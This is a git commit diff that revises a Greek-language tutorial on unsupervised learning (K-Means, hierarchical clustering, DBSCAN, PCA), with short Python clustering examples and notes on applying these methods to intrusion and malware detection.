Translated ['src/AI/AI-Unsupervised-Learning-Algorithms.md', 'src/binary

This commit is contained in:
Translator 2025-07-31 10:48:26 +00:00
parent 4535536499
commit ceb4cc05b9
29 changed files with 421 additions and 422 deletions

View File

@ -4,19 +4,19 @@
## Μη Εποπτευόμενη Μάθηση
Η μη εποπτευόμενη μάθηση είναι ένας τύπος μηχανικής μάθησης όπου το μοντέλο εκπαιδεύεται σε δεδομένα χωρίς επισημασμένες απαντήσεις. Ο στόχος είναι να βρει πρότυπα, δομές ή σχέσεις μέσα στα δεδομένα. Σε αντίθεση με τη εποπτευόμενη μάθηση, όπου το μοντέλο μαθαίνει από επισημασμένα παραδείγματα, οι αλγόριθμοι μη εποπτευόμενης μάθησης εργάζονται με μη επισημασμένα δεδομένα.
Η μη εποπτευόμενη μάθηση χρησιμοποιείται συχνά για εργασίες όπως η ομαδοποίηση, η μείωση διαστάσεων και η ανίχνευση ανωμαλιών. Μπορεί να βοηθήσει στην ανακάλυψη κρυφών προτύπων στα δεδομένα, στην ομαδοποίηση παρόμοιων στοιχείων ή στη μείωση της πολυπλοκότητας των δεδομένων διατηρώντας τα βασικά τους χαρακτηριστικά.
Η μη εποπτευόμενη μάθηση είναι ένας τύπος μηχανικής μάθησης όπου το μοντέλο εκπαιδεύεται σε δεδομένα χωρίς επισημασμένες απαντήσεις. Ο στόχος είναι να βρει μοτίβα, δομές ή σχέσεις μέσα στα δεδομένα. Σε αντίθεση με τη εποπτευόμενη μάθηση, όπου το μοντέλο μαθαίνει από επισημασμένα παραδείγματα, οι αλγόριθμοι μη εποπτευόμενης μάθησης εργάζονται με μη επισημασμένα δεδομένα.
Η μη εποπτευόμενη μάθηση χρησιμοποιείται συχνά για εργασίες όπως η ομαδοποίηση, η μείωση διαστάσεων και η ανίχνευση ανωμαλιών. Μπορεί να βοηθήσει στην ανακάλυψη κρυφών μοτίβων στα δεδομένα, στην ομαδοποίηση παρόμοιων στοιχείων ή στη μείωση της πολυπλοκότητας των δεδομένων διατηρώντας τα βασικά τους χαρακτηριστικά.
### Ομαδοποίηση K-Means
Ο αλγόριθμος K-Means είναι ένας αλγόριθμος ομαδοποίησης που βασίζεται σε κεντροειδείς και διαχωρίζει τα δεδομένα σε K ομάδες αναθέτοντας κάθε σημείο στην πλησιέστερη μέση τιμή ομάδας. Ο αλγόριθμος λειτουργεί ως εξής:
Ο K-Means είναι ένας αλγόριθμος ομαδοποίησης βασισμένος σε κεντροειδείς που διαχωρίζει τα δεδομένα σε K ομάδες αναθέτοντας κάθε σημείο στην πλησιέστερη μέση τιμή ομάδας. Ο αλγόριθμος λειτουργεί ως εξής:
1. **Αρχικοποίηση**: Επιλέξτε K αρχικά κέντρα ομάδων (κεντροειδείς), συχνά τυχαία ή μέσω πιο έξυπνων μεθόδων όπως το k-means++
2. **Ανάθεση**: Αναθέστε κάθε σημείο δεδομένων στην πλησιέστερη κεντροειδή με βάση ένα μέτρο απόστασης (π.χ., Ευκλείδεια απόσταση).
3. **Ενημέρωση**: Υπολογίστε ξανά τις κεντροειδείς παίρνοντας τη μέση τιμή όλων των σημείων δεδομένων που έχουν ανατεθεί σε κάθε ομάδα.
4. **Επανάληψη**: Τα βήματα 23 επαναλαμβάνονται μέχρι οι αναθέσεις ομάδων να σταθεροποιηθούν (οι κεντροειδείς δεν κινούνται πλέον σημαντικά).
4. **Επανάληψη**: Τα βήματα 23 επαναλαμβάνονται μέχρι οι αναθέσεις ομάδων να σταθεροποιηθούν (οι κεντροειδείς δεν κινούνται σημαντικά πια).
> [!TIP]
> *Χρήσεις στην κυβερνοασφάλεια:* Ο K-Means χρησιμοποιείται για την ανίχνευση εισβολών μέσω της ομαδοποίησης δικτυακών γεγονότων. Για παράδειγμα, οι ερευνητές εφαρμόσαν τον K-Means στο σύνολο δεδομένων εισβολών KDD Cup 99 και διαπίστωσαν ότι διαχώρισε αποτελεσματικά την κίνηση σε κανονικές και επιθετικές ομάδες. Στην πράξη, οι αναλυτές ασφαλείας μπορεί να ομαδοποιήσουν καταχωρήσεις καταγραφής ή δεδομένα συμπεριφοράς χρηστών για να βρουν ομάδες παρόμοιας δραστηριότητας. Οποιαδήποτε σημεία δεν ανήκουν σε μια καλά σχηματισμένη ομάδα μπορεί να υποδεικνύουν ανωμαλίες (π.χ. μια νέα παραλλαγή κακόβουλου λογισμικού που σχηματίζει τη δική της μικρή ομάδα). Ο K-Means μπορεί επίσης να βοηθήσει στην κατηγοριοποίηση οικογενειών κακόβουλου λογισμικού ομαδοποιώντας δυαδικά αρχεία με βάση προφίλ συμπεριφοράς ή διανύσματα χαρακτηριστικών.
> *Χρήσεις στην κυβερνοασφάλεια:* Ο K-Means χρησιμοποιείται για την ανίχνευση εισβολών ομαδοποιώντας γεγονότα δικτύου. Για παράδειγμα, οι ερευνητές εφαρμόζουν τον K-Means στο σύνολο δεδομένων εισβολών KDD Cup 99 και διαπίστωσαν ότι διαχωρίζει αποτελεσματικά την κίνηση σε κανονικές και επιθετικές ομάδες. Στην πράξη, οι αναλυτές ασφαλείας μπορεί να ομαδοποιούν καταχωρήσεις καταγραφής ή δεδομένα συμπεριφοράς χρηστών για να βρουν ομάδες παρόμοιας δραστηριότητας. Οποιαδήποτε σημεία δεν ανήκουν σε μια καλά σχηματισμένη ομάδα μπορεί να υποδεικνύουν ανωμαλίες (π.χ. μια νέα παραλλαγή κακόβουλου λογισμικού που σχηματίζει τη δική της μικρή ομάδα). Ο K-Means μπορεί επίσης να βοηθήσει στην κατηγοριοποίηση οικογενειών κακόβουλου λογισμικού ομαδοποιώντας δυαδικά αρχεία με βάση προφίλ συμπεριφοράς ή διανύσματα χαρακτηριστικών.
#### Επιλογή του K
Ο αριθμός των ομάδων (K) είναι μια υπερπαράμετρος που πρέπει να καθοριστεί πριν από την εκτέλεση του αλγορίθμου. Τεχνικές όπως η Μέθοδος του Αγκώνα ή η Βαθμολογία Σιλουέτας μπορούν να βοηθήσουν στον προσδιορισμό μιας κατάλληλης τιμής για το K αξιολογώντας την απόδοση της ομαδοποίησης:
@ -29,9 +29,9 @@
Ο K-Means υποθέτει ότι **οι ομάδες είναι σφαιρικές και ίσου μεγέθους**, κάτι που μπορεί να μην ισχύει για όλα τα σύνολα δεδομένων. Είναι ευαίσθητος στην αρχική τοποθέτηση των κεντροειδών και μπορεί να συγκλίνει σε τοπικά ελάχιστα. Επιπλέον, ο K-Means δεν είναι κατάλληλος για σύνολα δεδομένων με μεταβαλλόμενες πυκνότητες ή μη σφαιρικά σχήματα και χαρακτηριστικά με διαφορετικές κλίμακες. Βήματα προεπεξεργασίας όπως η κανονικοποίηση ή η τυποποίηση μπορεί να είναι απαραίτητα για να διασφαλιστεί ότι όλα τα χαρακτηριστικά συμβάλλουν εξίσου στους υπολογισμούς αποστάσεων.
<details>
<summary>Παράδειγμα -- Ομαδοποίηση Δικτυακών Γεγονότων
<summary>Παράδειγμα -- Ομαδοποίηση Γεγονότων Δικτύου
</summary>
Παρακάτω προσομοιώνουμε δεδομένα δικτυακής κίνησης και χρησιμοποιούμε τον K-Means για να τα ομαδοποιήσουμε. Υποθέστε ότι έχουμε γεγονότα με χαρακτηριστικά όπως η διάρκεια σύνδεσης και ο αριθμός byte. Δημιουργούμε 3 ομάδες "κανονικής" κίνησης και 1 μικρή ομάδα που αντιπροσωπεύει ένα μοτίβο επίθεσης. Στη συνέχεια, εκτελούμε τον K-Means για να δούμε αν τις διαχωρίζει.
Παρακάτω προσομοιώνουμε δεδομένα κίνησης δικτύου και χρησιμοποιούμε τον K-Means για να τα ομαδοποιήσουμε. Υποθέστε ότι έχουμε γεγονότα με χαρακτηριστικά όπως η διάρκεια σύνδεσης και ο αριθμός byte. Δημιουργούμε 3 ομάδες "κανονικής" κίνησης και 1 μικρή ομάδα που αντιπροσωπεύει ένα μοτίβο επίθεσης. Στη συνέχεια, εκτελούμε τον K-Means για να δούμε αν τις διαχωρίζει.
```python
import numpy as np
from sklearn.cluster import KMeans
@ -67,16 +67,16 @@ print(f" Cluster {idx}: {center}")
1. **Συγκεντρωτική (Από Κάτω προς Τα Πάνω)**: Ξεκινάμε με κάθε σημείο δεδομένων ως ξεχωριστή ομάδα και συγχωνεύουμε επαναληπτικά τις πιο κοντινές ομάδες μέχρι να παραμείνει μια μόνο ομάδα ή να πληρωθεί ένα κριτήριο διακοπής.
2. **Διαχωριστική (Από Πάνω προς Τα Κάτω)**: Ξεκινάμε με όλα τα σημεία δεδομένων σε μια μόνο ομάδα και διαχωρίζουμε επαναληπτικά τις ομάδες μέχρι κάθε σημείο δεδομένων να είναι η δική του ομάδα ή να πληρωθεί ένα κριτήριο διακοπής.
Η συγκεντρωτική ομαδοποίηση απαιτεί έναν ορισμό της απόστασης μεταξύ των ομάδων και ένα κριτήριο σύνδεσης για να αποφασιστεί ποιες ομάδες θα συγχωνευτούν. Κοινές μέθοδοι σύνδεσης περιλαμβάνουν τη μοναδική σύνδεση (απόσταση των πιο κοντινών σημείων μεταξύ δύο ομάδων), τη πλήρη σύνδεση (απόσταση των πιο απομακρυσμένων σημείων), τη μέση σύνδεση, κ.λπ., και η μετρική απόστασης είναι συχνά Ευκλείδεια. Η επιλογή της σύνδεσης επηρεάζει το σχήμα των ομάδων που παράγονται. Δεν υπάρχει ανάγκη να προ-καθοριστεί ο αριθμός των ομάδων K; μπορείτε να "κόψετε" το δενδρόγραμμα σε ένα επιλεγμένο επίπεδο για να αποκτήσετε τον επιθυμητό αριθμό ομάδων.
Η συγκεντρωτική ομαδοποίηση απαιτεί έναν ορισμό της απόστασης μεταξύ ομάδων και ένα κριτήριο σύνδεσης για να αποφασιστεί ποιες ομάδες θα συγχωνευτούν. Κοινές μέθοδοι σύνδεσης περιλαμβάνουν τη μοναδική σύνδεση (απόσταση των πιο κοντινών σημείων μεταξύ δύο ομάδων), τη πλήρη σύνδεση (απόσταση των πιο απομακρυσμένων σημείων), τη μέση σύνδεση, κ.λπ., και η μετρική απόστασης είναι συχνά Ευκλείδεια. Η επιλογή της σύνδεσης επηρεάζει το σχήμα των ομάδων που παράγονται. Δεν υπάρχει ανάγκη να προ-καθοριστεί ο αριθμός των ομάδων K; μπορείτε να "κόψετε" το δενδρόγραμμα σε ένα επιλεγμένο επίπεδο για να αποκτήσετε τον επιθυμητό αριθμό ομάδων.
Η ιεραρχική ομαδοποίηση παράγει ένα δενδρόγραμμα, μια δομή που μοιάζει με δέντρο και δείχνει τις σχέσεις μεταξύ των ομάδων σε διαφορετικά επίπεδα λεπτομέρειας. Το δενδρόγραμμα μπορεί να κοπεί σε ένα επιθυμητό επίπεδο για να αποκτηθεί ένας συγκεκριμένος αριθμός ομάδων.
> [!TIP]
> *Χρήσεις στην κυβερνοασφάλεια:* Η ιεραρχική ομαδοποίηση μπορεί να οργανώσει γεγονότα ή οντότητες σε ένα δέντρο για να εντοπίσει σχέσεις. Για παράδειγμα, στην ανάλυση κακόβουλου λογισμικού, η συγκεντρωτική ομαδοποίηση θα μπορούσε να ομαδοποιήσει δείγματα με βάση τη συμπεριφορική ομοιότητα, αποκαλύπτοντας μια ιεραρχία οικογενειών και παραλλαγών κακόβουλου λογισμικού. Στην ασφάλεια δικτύου, θα μπορούσε κανείς να ομαδοποιήσει ροές IP και να χρησιμοποιήσει το δενδρόγραμμα για να δει υποομαδοποιήσεις της κίνησης (π.χ., κατά πρωτόκολλο, στη συνέχεια κατά συμπεριφορά). Δεδομένου ότι δεν χρειάζεται να επιλέξετε K εκ των προτέρων, είναι χρήσιμο όταν εξερευνάτε νέα δεδομένα για τα οποία ο αριθμός των κατηγοριών επιθέσεων είναι άγνωστος.
> *Χρήσεις στην κυβερνοασφάλεια:* Η ιεραρχική ομαδοποίηση μπορεί να οργανώσει γεγονότα ή οντότητες σε ένα δέντρο για να εντοπίσει σχέσεις. Για παράδειγμα, στην ανάλυση κακόβουλου λογισμικού, η συγκεντρωτική ομαδοποίηση θα μπορούσε να ομαδοποιήσει δείγματα με βάση τη συμπεριφορική ομοιότητα, αποκαλύπτοντας μια ιεραρχία οικογενειών και παραλλαγών κακόβουλου λογισμικού. Στην ασφάλεια δικτύου, θα μπορούσε κανείς να ομαδοποιήσει ροές IP και να χρησιμοποιήσει το δενδρόγραμμα για να δει υποομαδοποιήσεις της κίνησης (π.χ., κατά πρωτόκολλο, στη συνέχεια κατά συμπεριφορά). Δεδομένου ότι δεν χρειάζεται να επιλέξετε το K εκ των προτέρων, είναι χρήσιμο όταν εξερευνάτε νέα δεδομένα για τα οποία ο αριθμός των κατηγοριών επιθέσεων είναι άγνωστος.
#### Υποθέσεις και Περιορισμοί
Η ιεραρχική ομαδοποίηση δεν υποθέτει ένα συγκεκριμένο σχήμα ομάδας και μπορεί να συλλάβει φωλιασμένες ομάδες. Είναι χρήσιμη για την ανακάλυψη ταξινομίας ή σχέσεων μεταξύ ομάδων (π.χ., ομαδοποίηση κακόβουλου λογισμικού κατά οικογενειακών υποομάδων). Είναι καθοριστική (χωρίς προβλήματα τυχαίας αρχικοποίησης). Ένα βασικό πλεονέκτημα είναι το δενδρόγραμμα, το οποίο παρέχει πληροφορίες σχετικά με τη δομή ομαδοποίησης των δεδομένων σε όλες τις κλίμακες οι αναλυτές ασφαλείας μπορούν να αποφασίσουν μια κατάλληλη κοπή για να εντοπίσουν σημαντικές ομάδες. Ωστόσο, είναι υπολογιστικά δαπανηρή (συνήθως $O(n^2)$ χρόνος ή χειρότερος για απλές υλοποιήσεις) και δεν είναι εφικτή για πολύ μεγάλες βάσεις δεδομένων. Είναι επίσης μια Greedy διαδικασία μόλις γίνει μια συγχώνευση ή διαχωρισμός, δεν μπορεί να αναιρεθεί, γεγονός που μπορεί να οδηγήσει σε υποβέλτιστες ομάδες αν συμβεί λάθος νωρίς. Οι εξωγενείς τιμές μπορούν επίσης να επηρεάσουν ορισμένες στρατηγικές σύνδεσης (η μοναδική σύνδεση μπορεί να προκαλέσει το φαινόμενο "αλυσίδας" όπου οι ομάδες συνδέονται μέσω εξωγενών τιμών).
Η ιεραρχική ομαδοποίηση δεν υποθέτει ένα συγκεκριμένο σχήμα ομάδας και μπορεί να συλλάβει φωλιασμένες ομάδες. Είναι χρήσιμη για την ανακάλυψη ταξινομίας ή σχέσεων μεταξύ ομάδων (π.χ., ομαδοποίηση κακόβουλου λογισμικού κατά οικογενειακών υποομάδων). Είναι καθοριστική (χωρίς προβλήματα τυχαίας αρχικοποίησης). Ένα βασικό πλεονέκτημα είναι το δενδρόγραμμα, το οποίο παρέχει πληροφορίες σχετικά με τη δομή ομαδοποίησης των δεδομένων σε όλες τις κλίμακες οι αναλυτές ασφαλείας μπορούν να αποφασίσουν μια κατάλληλη κοπή για να εντοπίσουν σημαντικές ομάδες. Ωστόσο, είναι υπολογιστικά δαπανηρή (συνήθως $O(n^2)$ χρόνος ή χειρότερος για απλές υλοποιήσεις) και δεν είναι εφικτή για πολύ μεγάλες βάσεις δεδομένων. Είναι επίσης μια Greedy διαδικασία μόλις γίνει μια συγχώνευση ή διαχωρισμός, δεν μπορεί να αναιρεθεί, γεγονός που μπορεί να οδηγήσει σε υποβέλτιστες ομάδες αν συμβεί κάποιο λάθος νωρίς. Οι εξωγενείς τιμές μπορούν επίσης να επηρεάσουν ορισμένες στρατηγικές σύνδεσης (η μοναδική σύνδεση μπορεί να προκαλέσει το φαινόμενο "αλυσίδας" όπου οι ομάδες συνδέονται μέσω εξωγενών τιμών).
<details>
<summary>Παράδειγμα -- Συγκεντρωτική Ομαδοποίηση Γεγονότων
@ -104,7 +104,7 @@ print(f"Cluster sizes for 3 clusters: {np.bincount(clusters_3)}")
### DBSCAN (Συστάδα Βασισμένη σε Πυκνότητα Χωρικών Εφαρμογών με Θόρυβο)
DBSCAN είναι ένας αλγόριθμος συστάδων βασισμένος σε πυκνότητα που ομαδοποιεί σημεία που είναι στενά συσσωρευμένα, ενώ επισημαίνει σημεία σε περιοχές χαμηλής πυκνότητας ως εκτός ομάδας. Είναι ιδιαίτερα χρήσιμος για σύνολα δεδομένων με μεταβαλλόμενες πυκνότητες και μη σφαιρικά σχήματα.
DBSCAN είναι ένας αλγόριθμος συστάδων βασισμένος σε πυκνότητα που ομαδοποιεί σημεία που είναι στενά συσκευασμένα μεταξύ τους, ενώ επισημαίνει σημεία σε περιοχές χαμηλής πυκνότητας ως εκτός ομάδας. Είναι ιδιαίτερα χρήσιμος για σύνολα δεδομένων με μεταβαλλόμενες πυκνότητες και μη σφαιρικά σχήματα.
DBSCAN λειτουργεί καθορίζοντας δύο παραμέτρους:
- **Epsilon (ε)**: Η μέγιστη απόσταση μεταξύ δύο σημείων για να θεωρούνται μέρος της ίδιας ομάδας.
@ -124,7 +124,7 @@ DBSCAN αναγνωρίζει κύρια σημεία, σημεία ορίου
**Υποθέσεις & Δυνάμεις:**: Το DBSCAN δεν υποθέτει σφαιρικές ομάδες μπορεί να βρει ομάδες με αυθαίρετα σχήματα (ακόμα και αλυσίδες ή γειτονικές ομάδες). Προσδιορίζει αυτόματα τον αριθμό των ομάδων με βάση την πυκνότητα των δεδομένων και μπορεί αποτελεσματικά να αναγνωρίσει εκτός ομάδας ως θόρυβο. Αυτό το καθιστά ισχυρό για πραγματικά δεδομένα με ανώμαλα σχήματα και θόρυβο. Είναι ανθεκτικό σε εκτός ομάδας (σε αντίθεση με το K-Means, το οποίο τα αναγκάζει σε ομάδες). Λειτουργεί καλά όταν οι ομάδες έχουν περίπου ομοιόμορφη πυκνότητα.
**Περιορισμοί**: Η απόδοση του DBSCAN εξαρτάται από την επιλογή κατάλληλων τιμών ε και MinPts. Μπορεί να δυσκολευτεί με δεδομένα που έχουν μεταβαλλόμενες πυκνότητες μια ενιαία ε δεν μπορεί να φιλοξενήσει τόσο πυκνές όσο και αραιές ομάδες. Αν η ε είναι πολύ μικρή, επισημαίνει τα περισσότερα σημεία ως θόρυβο; αν είναι πολύ μεγάλη, οι ομάδες μπορεί να συγχωνευτούν λανθασμένα. Επίσης, το DBSCAN μπορεί να είναι αναποτελεσματικό σε πολύ μεγάλα σύνολα δεδομένων (ναΐφ $O(n^2)$, αν και η χωρική ευρετηρίαση μπορεί να βοηθήσει). Σε χώρους χαρακτηριστικών υψηλής διάστασης, η έννοια της "απόστασης εντός ε" μπορεί να γίνει λιγότερο σημαντική (η κατάρα της διάστασης), και το DBSCAN μπορεί να χρειαστεί προσεκτική ρύθμιση παραμέτρων ή μπορεί να αποτύχει να βρει διαισθητικές ομάδες. Παρά αυτά, επεκτάσεις όπως το HDBSCAN αντιμετωπίζουν ορισμένα ζητήματα (όπως η μεταβαλλόμενη πυκνότητα).
**Περιορισμοί**: Η απόδοση του DBSCAN εξαρτάται από την επιλογή κατάλληλων τιμών ε και MinPts. Μπορεί να δυσκολευτεί με δεδομένα που έχουν μεταβαλλόμενες πυκνότητες μια ενιαία ε δεν μπορεί να φιλοξενήσει τόσο πυκνές όσο και αραιές ομάδες. Αν η ε είναι πολύ μικρή, επισημαίνει τα περισσότερα σημεία ως θόρυβο; αν είναι πολύ μεγάλη, οι ομάδες μπορεί να συγχωνευτούν λανθασμένα. Επίσης, το DBSCAN μπορεί να είναι αναποτελεσματικό σε πολύ μεγάλα σύνολα δεδομένων (αφελώς $O(n^2)$, αν και η χωρική ευρετηρίαση μπορεί να βοηθήσει). Σε χώρους χαρακτηριστικών υψηλής διάστασης, η έννοια της "απόστασης εντός ε" μπορεί να γίνει λιγότερο σημαντική (η κατάρα της διάστασης), και το DBSCAN μπορεί να χρειαστεί προσεκτική ρύθμιση παραμέτρων ή μπορεί να αποτύχει να βρει διαισθητικές ομάδες. Παρά αυτά, επεκτάσεις όπως το HDBSCAN αντιμετωπίζουν ορισμένα ζητήματα (όπως η μεταβαλλόμενη πυκνότητα).
<details>
<summary>Παράδειγμα -- Ομαδοποίηση με Θόρυβο
@ -150,51 +150,51 @@ num_noise = np.sum(labels == -1)
print(f"DBSCAN found {num_clusters} clusters and {num_noise} noise points")
print("Cluster labels for first 10 points:", labels[:10])
```
Σε αυτό το απόσπασμα, ρυθμίσαμε το `eps` και το `min_samples` ώστε να ταιριάζουν με την κλίμακα των δεδομένων μας (15.0 σε μονάδες χαρακτηριστικών και απαιτώντας 5 σημεία για να σχηματίσουν ένα σύμπλεγμα). Το DBSCAN θα πρέπει να βρει 2 συμπλέγματα (τα κανονικά συμπλέγματα κυκλοφορίας) και να επισημάνει τα 5 εισαγόμενα εξωτικά σημεία ως θόρυβο. Εξάγουμε τον αριθμό των συμπλεγμάτων σε σχέση με τα σημεία θορύβου για να το επαληθεύσουμε. Σε μια πραγματική ρύθμιση, μπορεί κανείς να επαναλάβει τη διαδικασία για το ε (χρησιμοποιώντας μια ημι-γραφική προσέγγιση k-distance για να επιλέξει το ε) και το MinPts (συχνά ρυθμισμένο γύρω από τη διαστατικότητα των δεδομένων + 1 ως κανόνας) για να βρει σταθερά αποτελέσματα συμπλέγματος. Η ικανότητα να επισημαίνουμε ρητά το θόρυβο βοηθά στη διαχωριστική ανάλυση πιθανών επιθέσεων για περαιτέρω ανάλυση.
Σε αυτό το απόσπασμα, ρυθμίσαμε το `eps` και το `min_samples` ώστε να ταιριάζουν με την κλίμακα των δεδομένων μας (15.0 σε μονάδες χαρακτηριστικών και απαιτώντας 5 σημεία για να σχηματίσουν ένα σύμπλεγμα). Το DBSCAN θα πρέπει να βρει 2 συμπλέγματα (τα κανονικά συμπλέγματα κυκλοφορίας) και να επισημάνει τα 5 εισαγόμενα εξωτικά σημεία ως θόρυβο. Εξάγουμε τον αριθμό των συμπλεγμάτων σε σχέση με τα σημεία θορύβου για να το επαληθεύσουμε. Σε μια πραγματική ρύθμιση, μπορεί κανείς να επαναλάβει τη διαδικασία για το ε (χρησιμοποιώντας μια ημι-γραφική προσέγγιση k-distance για να επιλέξει το ε) και το MinPts (συχνά ρυθμισμένο γύρω από τη διαστατικότητα των δεδομένων + 1 ως κανόνας) για να βρει σταθερά αποτελέσματα συμπλέγματος. Η ικανότητα να επισημαίνουμε ρητά τον θόρυβο βοηθά στη διαχωριστική ανάλυση πιθανών επιθέσεων για περαιτέρω ανάλυση.
</details>
### Ανάλυση Κύριων Συνιστωσών (PCA)
Η PCA είναι μια τεχνική για **μείωση διαστατικότητας** που βρίσκει ένα νέο σύνολο ορθογωνίων αξόνων (κύριες συνιστώσες) που καταγράφουν τη μέγιστη διακύμανση στα δεδομένα. Με απλά λόγια, η PCA περιστρέφει και προβάλλει τα δεδομένα σε ένα νέο σύστημα συντεταγμένων έτσι ώστε η πρώτη κύρια συνιστώσα (PC1) να εξηγεί τη μεγαλύτερη δυνατή διακύμανση, η δεύτερη PC (PC2) να εξηγεί τη μεγαλύτερη διακύμανση ορθογώνια στην PC1, και ούτω καθεξής. Μαθηματικά, η PCA υπολογίζει τους ιδιοδιανύσματα της μήτρας συνδιακύμανσης των δεδομένων αυτά τα ιδιοδιανύσματα είναι οι κατευθύνσεις των κύριων συνιστωσών, και οι αντίστοιχες ιδιοτιμές υποδεικνύουν την ποσότητα της διακύμανσης που εξηγείται από κάθε μία. Χρησιμοποιείται συχνά για εξαγωγή χαρακτηριστικών, οπτικοποίηση και μείωση θορύβου.
Η PCA είναι μια τεχνική για **μείωση διαστατικότητας** που βρίσκει ένα νέο σύνολο ορθογωνίων αξόνων (κύριες συνιστώσες) που καταγράφουν τη μέγιστη διακύμανση στα δεδομένα. Με απλά λόγια, η PCA περιστρέφει και προβάλλει τα δεδομένα σε ένα νέο σύστημα συντεταγμένων έτσι ώστε η πρώτη κύρια συνιστώσα (PC1) να εξηγεί τη μεγαλύτερη δυνατή διακύμανση, η δεύτερη PC (PC2) να εξηγεί τη μεγαλύτερη διακύμανση ορθογώνια στην PC1, και ούτω καθεξής. Μαθηματικά, η PCA υπολογίζει τους ιδιοδιανύσματα του πίνακα συνδιακύμανσης των δεδομένων αυτά τα ιδιοδιανύσματα είναι οι κατευθύνσεις των κύριων συνιστωσών, και οι αντίστοιχες ιδιοτιμές υποδεικνύουν την ποσότητα της διακύμανσης που εξηγείται από κάθε μία. Χρησιμοποιείται συχνά για εξαγωγή χαρακτηριστικών, οπτικοποίηση και μείωση θορύβου.
Σημειώστε ότι αυτό είναι χρήσιμο αν οι διαστάσεις του συνόλου δεδομένων περιέχουν **σημαντικές γραμμικές εξαρτήσεις ή συσχετίσεις**.
Η PCA λειτουργεί εντοπίζοντας τις κύριες συνιστώσες των δεδομένων, οι οποίες είναι οι κατευθύνσεις της μέγιστης διακύμανσης. Τα βήματα που εμπλέκονται στην PCA είναι:
1. **Τυποποίηση**: Κεντράρετε τα δεδομένα αφαιρώντας τον μέσο όρο και κλιμακώνοντάς τα σε μονάδα διακύμανσης.
2. **Μήτρα Συνδιακύμανσης**: Υπολογίστε τη μήτρα συνδιακύμανσης των τυποποιημένων δεδομένων για να κατανοήσετε τις σχέσεις μεταξύ των χαρακτηριστικών.
3. **Αποσύνθεση Ιδιοτιμών**: Εκτελέστε αποσύνθεση ιδιοτιμών στη μήτρα συνδιακύμανσης για να αποκτήσετε τις ιδιοτιμές και τα ιδιοδιανύσματα.
2. **Πίνακας Συνδιακύμανσης**: Υπολογίστε τον πίνακα συνδιακύμανσης των τυποποιημένων δεδομένων για να κατανοήσετε τις σχέσεις μεταξύ των χαρακτηριστικών.
3. **Αποσύνθεση Ιδιοτιμών**: Εκτελέστε αποσύνθεση ιδιοτιμών στον πίνακα συνδιακύμανσης για να αποκτήσετε τις ιδιοτιμές και τα ιδιοδιανύσματα.
4. **Επιλογή Κύριων Συνιστωσών**: Ταξινομήστε τις ιδιοτιμές σε φθίνουσα σειρά και επιλέξτε τα κορυφαία K ιδιοδιανύσματα που αντιστοιχούν στις μεγαλύτερες ιδιοτιμές. Αυτά τα ιδιοδιανύσματα σχηματίζουν το νέο χώρο χαρακτηριστικών.
5. **Μετασχηματισμός Δεδομένων**: Προβάλλετε τα αρχικά δεδομένα στο νέο χώρο χαρακτηριστικών χρησιμοποιώντας τις επιλεγμένες κύριες συνιστώσες.
5. **Μετασχηματισμός Δεδομένων**: Προβάλετε τα αρχικά δεδομένα στον νέο χώρο χαρακτηριστικών χρησιμοποιώντας τις επιλεγμένες κύριες συνιστώσες.
Η PCA χρησιμοποιείται ευρέως για οπτικοποίηση δεδομένων, μείωση θορύβου και ως βήμα προεπεξεργασίας για άλλους αλγόριθμους μηχανικής μάθησης. Βοηθά στη μείωση της διαστατικότητας των δεδομένων διατηρώντας τη βασική τους δομή.
#### Ιδιοτιμές και Ιδιοδιανύσματα
Μια ιδιοτιμή είναι ένας σκαλάρ που υποδεικνύει την ποσότητα της διακύμανσης που καταγράφεται από το αντίστοιχο ιδιοδιανύσμα της. Ένα ιδιοδιανύσμα αντιπροσωπεύει μια κατεύθυνση στο χώρο χαρακτηριστικών κατά μήκος της οποίας τα δεδομένα ποικίλλουν περισσότερο.
Φανταστείτε ότι A είναι μια τετράγωνη μήτρα και v είναι ένα μη μηδενικό διάνυσμα έτσι ώστε: `A * v = λ * v`
Φανταστείτε ότι A είναι ένας τετράγωνος πίνακας και v είναι ένα μη μηδενικό διάνυσμα έτσι ώστε: `A * v = λ * v`
όπου:
- A είναι μια τετράγωνη μήτρα όπως [ [1, 2], [2, 1]] (π.χ., μήτρα συνδιακύμανσης)
- A είναι ένας τετράγωνος πίνακας όπως [ [1, 2], [2, 1]] (π.χ., πίνακας συνδιακύμανσης)
- v είναι ένα ιδιοδιανύσμα (π.χ., [1, 1])
Τότε, `A * v = [ [1, 2], [2, 1]] * [1, 1] = [3, 3]` που θα είναι η ιδιοτιμή λ πολλαπλασιασμένη με το ιδιοδιανύσμα v, κάνοντάς την ιδιοτιμή λ = 3.
Τότε, `A * v = [ [1, 2], [2, 1]] * [1, 1] = [3, 3]` το οποίο θα είναι η ιδιοτιμή λ πολλαπλασιασμένη με το ιδιοδιανύσμα v, κάνοντάς την ιδιοτιμή λ = 3.
#### Ιδιοτιμές και Ιδιοδιανύσματα στην PCA
Ας εξηγήσουμε αυτό με ένα παράδειγμα. Φανταστείτε ότι έχετε ένα σύνολο δεδομένων με πολλές γκρίζες κλίμακες εικόνες προσώπων 100x100 pixels. Κάθε pixel μπορεί να θεωρηθεί ως χαρακτηριστικό, οπότε έχετε 10,000 χαρακτηριστικά ανά εικόνα (ή ένα διάνυσμα 10000 στοιχείων ανά εικόνα). Αν θέλετε να μειώσετε τη διαστατικότητα αυτού του συνόλου δεδομένων χρησιμοποιώντας PCA, θα ακολουθήσετε τα εξής βήματα:
1. **Τυποποίηση**: Κεντράρετε τα δεδομένα αφαιρώντας τον μέσο όρο κάθε χαρακτηριστικού (pixel) από το σύνολο δεδομένων.
2. **Μήτρα Συνδιακύμανσης**: Υπολογίστε τη μήτρα συνδιακύμανσης των τυποποιημένων δεδομένων, η οποία καταγράφει πώς τα χαρακτηριστικά (pixels) ποικίλλουν μαζί.
2. **Πίνακας Συνδιακύμανσης**: Υπολογίστε τον πίνακα συνδιακύμανσης των τυποποιημένων δεδομένων, ο οποίος καταγράφει πώς τα χαρακτηριστικά (pixels) ποικίλλουν μαζί.
- Σημειώστε ότι η συνδιακύμανση μεταξύ δύο μεταβλητών (pixels σε αυτή την περίπτωση) υποδεικνύει πόσο αλλάζουν μαζί, οπότε η ιδέα εδώ είναι να ανακαλύψετε ποια pixels τείνουν να αυξάνονται ή να μειώνονται μαζί με μια γραμμική σχέση.
- Για παράδειγμα, αν το pixel 1 και το pixel 2 τείνουν να αυξάνονται μαζί, η συνδιακύμανση μεταξύ τους θα είναι θετική.
- Η μήτρα συνδιακύμανσης θα είναι μια μήτρα 10,000x10,000 όπου κάθε είσοδος αντιπροσωπεύει τη συνδιακύμανση μεταξύ δύο pixels.
